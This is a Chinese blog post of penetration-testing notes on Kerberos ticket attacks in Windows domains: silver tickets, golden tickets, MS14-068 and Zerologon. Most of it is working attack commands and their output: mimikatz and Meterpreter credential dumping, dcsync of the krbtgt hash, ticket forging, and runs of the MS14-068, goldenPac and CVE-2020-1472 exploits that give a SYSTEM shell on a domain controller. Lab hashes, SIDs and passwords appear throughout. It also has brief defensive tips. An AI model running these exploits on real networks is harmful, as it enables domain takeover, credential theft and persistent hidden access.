PTT攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:MS16-068,Golden ticket(黄金票据),SILVER ticket(白银票据)。

前面已经学习过Windows认证---基于Kerberos的域认证 - Kevin_xiao's Blog

白银票据(Silver Tickets)

特点:

  • 无需与KDC交互
  • 需要目标Server的NTLM Hash

在Kerberos的第三步认证中的Ticket的组成:

Ticket=Server NTLM Hash{Server Session Key(或者称为Session-Key TGS)+Client info+End Time)}

当拥有Server Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket

Server Session Key在未发送Ticket之前,服务器是不知道Server Session Key是什么的。 所以,一切凭据都来源于Server Hash

获取Server Hash

还是用mimikatz这个工具

mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt

或者使用RCE漏洞获取到目标后加载mimikatz读取 该主机名为WEB的服务器

msf中加载mimikatz后使用msv来获取所有哈希

meterpreter > load mimikatz
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============

AuthID      Package    Domain        User            Password
------      -------    ------        ----            --------
0;987554    Negotiate  IIS APPPOOL   DefaultAppPool  lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }
0;996       Negotiate  DE1AY         WEB$            lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }
0;49994     NTLM                                     lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }
0;11327761  Kerberos   DE1AY         Administrator   lm{ f471ca8ea823361ef9393d97e7a1873c }, ntlm{ 4d01fbeeaf2b706478943e0889df5622 }
0;1770542   NTLM       DE1AY         Administrator   lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;1038932   Kerberos   DE1AY         de1ay           lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;142774    Kerberos   DE1AY         mssql           lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;156599    Kerberos   DE1AY         mssql           lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;995       Negotiate  NT AUTHORITY  IUSR            n.s. (Credentials KO)
0;997       Negotiate  NT AUTHORITY  LOCAL SERVICE   n.s. (Credentials KO)
0;999       Negotiate  DE1AY         WEB$            n.s. (Credentials KO)

其中这一条即为需要的Service Hash

0;996   Negotiate  DE1AY   WEB$   lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }

伪造白银票据

在普通域用户机器中进行ptt

mimikatz "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit

实例:

尝试访问主机WEB

需要进行身份验证

伪造票据前先清空票据,保证票据列表干净

kerberos::list #列出票据
kerberos::purge # 清除票据

伪造票据:

mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit

伪造票据需要目标主机的主机名,主机名对应用户的NTLM Hash 和域的SID

获取域的SID可以通过wmic useraccount where name="krbtgt" get sid 或者下文中获取高权限账户后使用lsadump::dcsync /user:krbtgt

域SID即为图中标红的S-1-5-21-2756371121-2868759905-3853650604 红色后面的的是RID 并非域SID

注意如果查询的用户名同时存在域用户和本地用户的话,会得到两个查询结果:如图中查询的de1ay用户会返回两个SID

获取到所需的信息后使用mimikatz伪造一个管理员权限的票据:

kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /target:WEB /service:CIFS /rc4:01ad29e76541f46e60129e2fb3acfc5d /user:Administrator /ptt


再次访问WEB服务器,成功

访问DC仍然需要验证:

由于白银票据需要目标服务器的Hash,所以没办法生成对应域内 所有服务器的票据,也不能通过TGT申请。因此只能针对服务器 上的某些服务去伪造,伪造的服务类型列表如下:

服务注释服务名
WMIHOST、RPCSS
Powershell RemoteingHOST、HTTP
WinRMHOST、HTTPScheduled TasksHOST
LDAP 、DCSyncLDAP
Windows File Share (CIFS)CIFS
Windows Remote ServerAdministration ToolsRPCSS、LDAP、CIFS

白银票据(Silver Tickets)防御

  • 1.尽量保证服务器凭证不被窃取
  • 2.开启PAC (Privileged Attribute Certificate) 特权属性证书保护 功能,PAC主要是规定服务器将票据发送给kerberos服务,由 kerberos服务验证票据是否有效。

开启方式:

将注册表中

HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Lsa\Kerberos\Parameters

中的ValidateKdcPacSignature设置为1。

黄金票据(Golden Tickets)

特点:

  • 1.需要与DC通信
  • 2.需要krbtgt用户的hash

Golden ticket的作用是可以生成任意用户的TGT,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。

伪造黄金凭据需要具备下面条件:

  • krbtgt用户的hash(就意味着你已经有域控制器权限了)
  • 域名称
  • 域的SID值
  • 要伪造的用户名

域中有一个特殊用户叫做krbtgt,该用户是用于Kerberos身份验证的帐户,获得了该用户的hash,就可以伪造票据进行票据传递

域中每个用户的Ticket都是由krbtgt的密码Hash来计算生成的,因此只要获取到krbtgt的密码Hash,就可以随意伪造Ticket,进而使用Ticket登陆域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket。

获取krbtgt用户哈希

这个其实在前面PTH中提过

  • DCSync (mimikatz)

    mimikatz 会模拟域控,向目标域控请求账号密码信息。 这种方式动静更小,不用直接登陆域控,也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。

      lsadump::dcsync /user:krbtgt
      mimikatz # lsadump::dcsync /user:krbtgt
      [DC] 'de1ay.com' will be the domain
      [DC] 'DC.de1ay.com' will be the DC server
      [DC] 'krbtgt' will be the user account
    
      Object RDN           : krbtgt
    
      ** SAM ACCOUNT **
    
      SAM Username         : krbtgt
      Account Type         : 30000000 ( USER_OBJECT )
      User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
      Account expiration   :
      Password last change : 2019/9/9 10:44:59
      Object Security ID   : S-1-5-21-2756371121-2868759905-3853650604-502
      Object Relative ID   : 502
    
      Credentials:
      Hash NTLM: 82dfc71b72a11ef37d663047bc2088fb
          ntlm- 0: 82dfc71b72a11ef37d663047bc2088fb
          lm  - 0: 9b5cd36575630d629f3aa6d769ec91c3
    
      Supplemental Credentials:
      * Primary:Kerberos-Newer-Keys *
          Default Salt : DE1AY.COMkrbtgt
          Default Iterations : 4096
          Credentials
          aes256_hmac       (4096) : 42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118
          aes128_hmac       (4096) : 5eb13d2a0e1f4980c3e3810d5da3da4f
          des_cbc_md5       (4096) : 79c8dc79fe467552
    
      * Primary:Kerberos *
          Default Salt : DE1AY.COMkrbtgt
          Credentials
          des_cbc_md5       : 79c8dc79fe467552
    
      * Packages *
          Kerberos-Newer-Keys
    
      * Primary:WDigest *
          01  6486daf200f85102b9a66f0bb698f964
          02  618b4df7c8262508a26641b5271693fe
          03  657b7f6a13829e21c18da26ee927dd7a
          04  6486daf200f85102b9a66f0bb698f964
          05  618b4df7c8262508a26641b5271693fe
          06  6702b7e06d68443bbd003fa1fd2ad6c2
          07  6486daf200f85102b9a66f0bb698f964
          08  5057528d4ee40f9ffda5ab89fc76e45c
          09  5057528d4ee40f9ffda5ab89fc76e45c
          10  ec101c8f1831c5ddefbcdabf2d854077
          11  48c89ab471a5a096c8895ca7c9fb8098
          12  5057528d4ee40f9ffda5ab89fc76e45c
          13  f63f9768f77b7a60dd75f79b210d31c5
          14  48c89ab471a5a096c8895ca7c9fb8098
          15  334888d42cd914936f94d6c2875f77a3
          16  334888d42cd914936f94d6c2875f77a3
          17  930580b0e2523dbc40d8b34efc9a83d1
          18  d7bb3256dc319c0a9bdbff3ef0b3d618
          19  120122f0735a3841c210d145d092d0fc
          20  d371f34cf41adb5a09c8507a94066c48
          21  61b1669bec1aa4a9873703229854e57d
          22  61b1669bec1aa4a9873703229854e57d
          23  963efa120b17bf8ea89eb2906fdf0092
          24  8a015afc23c33423a0557e59bd6d573c
          25  8a015afc23c33423a0557e59bd6d573c
          26  a1fa583bfc8008249d6649630aada4a0
          27  c13cf2b5ecb0894a09f8dd0831732da4
          28  679145bff502118a02f6f3af19067da2
          29  e371aa57cba0556074c58686ef433c30
或者在 meterpreter 中使用 kiwi 扩展

```
dcsync_ntlm krbtgt
```
```
meterpreter > getuid
Server username: DE1AY\Administrator
meterpreter > load kiwi
Loading extension kiwi...
.#####.   mimikatz 2.1.1 20180925 (x86/windows)
.## ^ ##.  "A La Vie, A L'Amour"
## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##       > http://blog.gentilkiwi.com/mimikatz
'## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
'#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.
meterpreter > dcsync_ntlm krbtgt
[+] Account   : krbtgt
[+] NTLM Hash : 82dfc71b72a11ef37d663047bc2088fb
[+] LM Hash   : 9b5cd36575630d629f3aa6d769ec91c3
[+] SID       : S-1-5-21-2756371121-2868759905-3853650604-502
[+] RID       : 502

```
  • LSA(mimikatz)

    mimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取

      privilege::debug
      lsadump::lsa /inject /name:krbtgt
  • Hashdump(Meterpreter)

伪造黄金票据

使用meterpreter中的kiwi模块

  load kiwi

创建票据

  golden_ticket_create -d <域名> -u <任意用户名> -s <Domain SID> -k <krbtgt NTLM Hash> -t <ticket本地存储路径如:/tmp/krbtgt.ticket>
golden_ticket_create -d de1ay.com -u test -s S-1-5-21-2756371121-2868759905-3853650604 -k 82dfc71b72a11ef37d663047bc2088fb -t /tmp/krbtgt.ticket

对域内其他机器进行共享访问,因为无权限失败

注入到内存:

  kerberos_ticket_use /tmp/krbtgt.ticket

再次访问,可成功访问域内其他机器和域控

此时也可使用wmic在WEB机器上执行命令

  wmic /authority:"kerberos:de1ay\WEB" /node:"WEB" process call create "calc"

命令已经在目标服务器上以administrator权限成功执行

使用mimikatz

mimikatz “kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit

访问另一台机器WEB \\web\C$ 需要身份验证

img

使用mimikatz伪造黄金票据

进入mimikatz交互界面

使用kerberos::list查看当前凭据列表

img

发现已经有部分凭据,使用kerberos::purge来清空凭据确保凭据列表是干净的

img

使用前面获得的krbtgt用户的哈希生成黄金票据

  • SID

    Object Security ID   : S-1-5-21-2756371121-2868759905-3853650604-502

    注意这里的是域SID+RID(-502) RID去掉后才是域SID

  • NTLM Hash

    82dfc71b72a11ef37d663047bc2088fb

生成黄金票据并注入内存

kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /rc4:82dfc71b72a11ef37d663047bc2088fb /user:xxx /ptt

查看票据 kerberos::list

再次尝试访问目标服务器WEB

同样也可以访问DC服务器(或域内任意一台机器)

注意:如果使用 IP 地址访问的话会失败,使用 Netbios 的服务名访问才会走 Kerberos 协议

Tickets 总结

  • 黄金票据:从攻击面来看,获取krbtgt用户的hash后,可以在域中 进行持久性的隐藏,并且日志无法溯源,但是需要拿到DC权限, 使用黄金票据能够在一个域环境中长时间控制整个域。
  • 从防御角度来看,需要经常更新krbtgt的密码,才能够使得原有的 票据失效。最根本的办法是不允许域管账户登录其他服务器。
  • 白银票据:从攻击面来看,伪造白银票据的难度比伪造黄金票据的 难度较小,因为一个域中的服务器如果对外的话,非常容易被入侵, 并且容易被转储Server。
  • 从防御角度来看,需要开启PAC认证,但这会降低认证效率,增加 DC的负担,最根本的还是要加固服务器本身对外的服务。

ms14-068

介绍

MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证。

简单来说就是:

windows域中使用kerberos协议过程中,为了让SS服务器判断Client是否有权限访问服务,引入了PAC机制。构造PAC也是这个漏洞的根本。

  1. 在请求AS时,将require_PAC设置成False。
  2. 在请求TGS时,构造PAC,然后使用MD5签名(PAC尾部的签名算法可以任意指定),PAC并没有放在TGT中发送,而是在请求包的其他位置(但是还是可以解析)。
  3. TGS_REP返回的不是会话密钥,而是返回的带PAC的TGT(微软的锅)

造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780

利用前提

  • 域控机器没有安装MS14-068补丁
  • 获取到域内普通用户的密码/Hash 以及SUID

利用过程

查看是否安装KB3011780补丁来判断是否存在MS14-068漏洞

1.使用 whoami/user 得到普通域用户的sid

2.执行payload生成TGT票据:

利用工具:ms14-068

使用方法:

ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

运行实例:

MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45

如果操作正确,且域机器是可以和域控制器互通则会创建.ccache文件

3.票据注入:

使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器

mimikatz # kerberos::purge         //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list          //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件   //将票据注入到内存中

显示Injecting ticket : OK就表示注入成功了~

4.查看注入是否成功并且登录域控:

查看klist:

发现已经将凭证注入进去了~下面可以使用net use进行登录,或者使用psexec,wmi等方法进行远程执行命令。注意,这里登录时,要使用机器名,不要使用IP,否则没办法攻击成功。

可以看到我们已经提升到域控权限。

kekeo

考虑到mimikatz的pth功能需要本地管理员权限,所以mimikatz也提供了不需要管理员权限的解决方法Pass-The-Ticket

Pass-The-Ticket需要用到gentilkiwi开源的另一款工具kekeo,下载地址:https://github.com/gentilkiwi/kekeo/releases

kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"

执行后生成票据 :

TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi

接下来导入票据:

kekeo "kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi"

img

成功获得了域控的访问权限:

img

goldenPac

复制goldenPac.exe 到目标机器

目前已获取当前机器普通域用户leo 密码 123.com

goldenPac <域名>/<用户名>:<密码>@<域控地址>
C:\Users\leo\Desktop>goldenPac.exe sun.com/leo:123.com@dc.sun.com
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] User SID: S-1-5-21-3388020223-1982701712-4030140183-1110
[*] Forest SID: S-1-5-21-3388020223-1982701712-4030140183
[*] Attacking domain controller DC.sun.com
[*] DC.sun.com found vulnerable!
[*] Requesting shares on dc.sun.com.....
[*] Found writable share ADMIN$
[*] Uploading file ZVvcTLeF.exe
[*] Opening SVCManager on dc.sun.com.....
[*] Creating service bzOd on dc.sun.com.....
[*] Starting service bzOd.....
[!] Press help for extra shell commands
Microsoft Windows [░µ▒╛ 6.1.7600]
░µ╚¿╦∙╙╨ (c) 2009 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname
DC

或者使用proxychains将goldenPac代理进内网

aresx@XXXXXXXXXX:/mnt/e$ proxychains goldenPac.py sun.com/leo:123.com@dc.sun.com
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[proxychains] Strict chain  ...  192.168.10.134:33080  ...  sun.com:445  ...  OK
[*] User SID: S-1-5-21-3388020223-1982701712-4030140183-1110
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  sun.com:445  ...  OK
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  sun.com:445  ...  OK
[*] Forest SID: S-1-5-21-3388020223-1982701712-4030140183
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  sun.com:135  ...  OK
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  sun.com:49155  ...  OK
[*] Attacking domain controller DC.sun.com
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  DC.sun.com:88  ...  OK
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  DC.sun.com:88  ...  OK
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  DC.sun.com:88  ...  OK
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  DC.sun.com:88  ...  OK
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  DC.sun.com:88  ...  OK
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  DC.sun.com:88  ...  OK
[*] DC.sun.com found vulnerable!
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  dc.sun.com:445  ...  OK
[*] Requesting shares on dc.sun.com.....
[*] Found writable share ADMIN$
[*] Uploading file HJlEFapm.exe
[*] Opening SVCManager on dc.sun.com.....
[*] Creating service RxAJ on dc.sun.com.....
[*] Starting service RxAJ.....
SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  dc.sun.com:445  ...  OK
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  dc.sun.com:445  ...  OK
[!] Press help for extra shell commands
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  dc.sun.com:445  ...  OK
Microsoft Windows [░µ▒╛ 6.1.7600]
░µ╚¿╦∙╙╨ (c) 2009 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname
DC

C:\Windows\system32>
goldenPac使用可能会因为pyasn1库的原因出现问题,可以参考:解决goldenPac报错问题

pykek

使用方法:

ms14.068.exe -u <用户名>@<域名>  -s <SID> -d <DC机器地址或ip> -p <用户密码>

C:\Users\leo\Desktop>MS14-068.exe -u leo@sun.com -s S-1-5-21-3388020223-19827017
12-4030140183-1110 -d dc.sun.com -p 123.com
  [+] Building AS-REQ for dc.sun.com... Done!
  [+] Sending AS-REQ to dc.sun.com... Done!
  [+] Receiving AS-REP from dc.sun.com... Done!
  [+] Parsing AS-REP from dc.sun.com... Done!
  [+] Building TGS-REQ for dc.sun.com... Done!
  [+] Sending TGS-REQ to dc.sun.com... Done!
  [+] Receiving TGS-REP from dc.sun.com... Done!
  [+] Parsing TGS-REP from dc.sun.com... Done!
  [+] Creating ccache file 'TGT_leo@sun.com.ccache'... Done!

获得ccache文件后,可使用mimikatz进行票据注入

kerberos::purge`或者cmd中执行`klist purge

img

kerberos::ptc cache路径

注入完成后再次尝试是否有权限访问域控

Zerologon 域提权漏洞

利用条件: 已知域控主机名,可连接至域控445端口

可在域中使用net time /domain 可获取时间服务器机器名,一般也是域控机器名

可用漏洞重置域控机器名用户密码为空

在域内,机器用户跟域用户一样,是域内的成员,他在域内的用户名是机器用户+$(如DC2016$),在本地的用户名是SYSTEM,并且机器用户不可进行登录的,但是因为域控的机器用户具备Dcsync特权,我们就可以滥用该特权来进行Dcsync

MIMIKATZ

新版mimikatz添加了zerlogon漏洞的利用支持

检测漏洞

lsadump::zerologon /target:dc.domain.com /account:dc$

漏洞利用

lsadump::zerologon /target:dc.domain.com /account:dc$ /exploit

利用成功后可执行dcsync获取域管或krbtgt用户hash进行pth或ptt

 lsadump::dcsync /domain:domain.com  /dc:dc.domain.com /user:Administrator /authuser:dc$ /authdomain:domain /authpassword:"" /authntlm![](https://i.loli.net/2020/10/26/XWuCO9kbeRv5IPM.jpg)

恢复密码

lsadump::postzerologon /target:domain.com /account:dc$ 

PYTHON版利用工具:

https://github.com/dirkjanm/CVE-2020-1472

python cve-2020-1472-exploit.py 机器名 域控IP

即可重置域控机器用户密码

使用impacket中的secretsdump 进行dcsync获取域管hash

python secretsdump.py   test.com/DC2016\$@DC2016    -dc-ip  192.168.110.16   -just-dc-user test\\administrator -hashes 31d6cfe0d16ae931b73c59d7e0c089c0:31d6cfe0d16ae931b73c59d7e0c089c0
31d6cfe0d16ae931b73c59d7e0c089c0:31d6cfe0d16ae931b73c59d7e0c089c0 为空密码的hash

参考:域渗透学习(七)PTT 票据传递攻击 | AresX's Blog (ares-x.com)

域渗透学习笔记五:攻击Kerbroes | CoolCat' Blog (thekingofduck.com)

5.内网渗透之PTH&PTT&PTK - bmjoker - 博客园 (cnblogs.com)

彻底理解Windows认证 - 议题解读 « 倾旋的博客 (payloads.online)

最后修改:2022 年 10 月 22 日
如果觉得我的文章对你有用,请随意赞赏